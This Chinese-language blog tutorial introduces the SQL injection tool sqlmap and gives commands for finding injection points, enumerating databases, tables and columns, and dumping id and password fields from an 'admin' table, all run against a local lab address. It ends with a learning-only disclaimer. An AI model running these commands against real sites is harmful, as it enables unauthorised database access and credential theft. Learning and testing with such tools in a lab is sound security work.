菜鸟变高手的SQL 注入工具——sqlmap

菜鸟变高手的SQL 注入工具——sqlmap

好刀在手,菜鸟变高手。我们先看《龙珠》漫画一组的DIY 版本。

地球人的战斗力是5,但枪的力量是5000,所以把战斗力1千多的外星人(赛亚人)拉蒂兹给灭掉了。

回到本文上,网络安全攻防上也是一样,一个好的工具在手,即使是菜鸟,也会变成一个生猛的攻击者。

本文介绍的是sqlmap——一个自动化的SQL注入工具

0x01 简介 

功能为扫描和发现指定url的注入点。支持的数据库较为全面,有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。支持多种注入模式,如:布尔的盲注、时间的盲注、报错注入、联合查询注入、堆查询注入等。

官方下载地址:https://sqlmap.org/。linux 和mac 系统,直接通过其github 地址下载下来便可用,windows系统下载压缩包便可用,根据自己系统安装就可。

0x02 用法

本文使用linux系统做演示,其他系统也是差不多。最直白的用法,也就是指定参数-u——扫描的目标完整即可,这里的参数注入测试点在于id=1:

python sqlmap.py -u http://target/view.php?id=1

以本地环境做测试,本地内外环境ip:10.211.55.3,测试页面view.php,搭建靶子环境:http://10.211.55.3/view.php?id=xxx,如果存在漏洞,会出现类似如下的结果。

这里的结果显示id参数存在注入漏洞

这个例子注入点在GET参数上,如果对POST做注入测试也可以,指定–data参数就可:

--data="username=xyz&password=123456"

如果存在注入漏洞,便可以进行下一步了。

爆所有数据库信息:

python sqlmap.py -u url --dbs (url 为上面的http://10.211.55.3/view.php?id=1,下同)

爆当前数据库信息: 

python sqlmap.py -u url --current-db

指定库名列出所有表:

python sqlmap.py -u url -D dbname --tables ('dbname' 为指定数据库名称,下同)

指定库名表名列出所有字段: 

python sqlmap.py -u url -D dbname -T admin --columns ('admin' 为指定表名称,下同)

指定库名表名字段dump出指定字段:

python sqlmap.py -u url -D dbname -T admin -C id,password --dump ('id,password' 为指定字段名称)

其他参数说明可以使用-h(python sqlmap.py -h)参数查看, 不过多介绍。

0x03 学习技巧 

sqlmap不仅是一个攻击工具,还是一个很好的sql 注入的参考学习工具。有编程功底的可以直接走读其源码,sqlmap 提供了完整的python源码。

如果我们手工sql 注入测试,有时候苦于缺乏测试用例或者方法。那么sqlmap 就是一个很好的参考了,sqlmap 的输出日志,就是一个很好的参考例子,这对于我们理解sql 注入技巧有很大的帮助。

-v 设置信息参数,可以设置登记为0-6,其值的含义:

0 只显示python错误以及严重的信息;
1 同时显示基本信息和警告信息(默认);
2 同时显示debug信息;
3 同时显示注入的payload; 
4 同时显示HTTP请求;
5 同时显示HTTP响应头; 
6 同时显示HTTP响应页面。

可以看到,越高级别输出信息越多。我们使用时候最好设置为3,可以看到sqlmap 对站点测试到paylpad:

如果想手工测试sql 注入,参考里面的case 来写是个不错的方法。

如果不想过多深入使用,那么简单学会-u 等几个简单参数便可,总结就是:一支AK在手,菜鸟变高手,值拥有。

声明:为了进行学习交流,本文介绍一些常见的sqlmap,网络运维者应该关注和防范。请读者们洁身自好,不要尝试利用攻击别人,以免误入歧途。

(全文完)

(欢迎转载本站文章,但请注明作者和出处 云域 – Yuccn

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注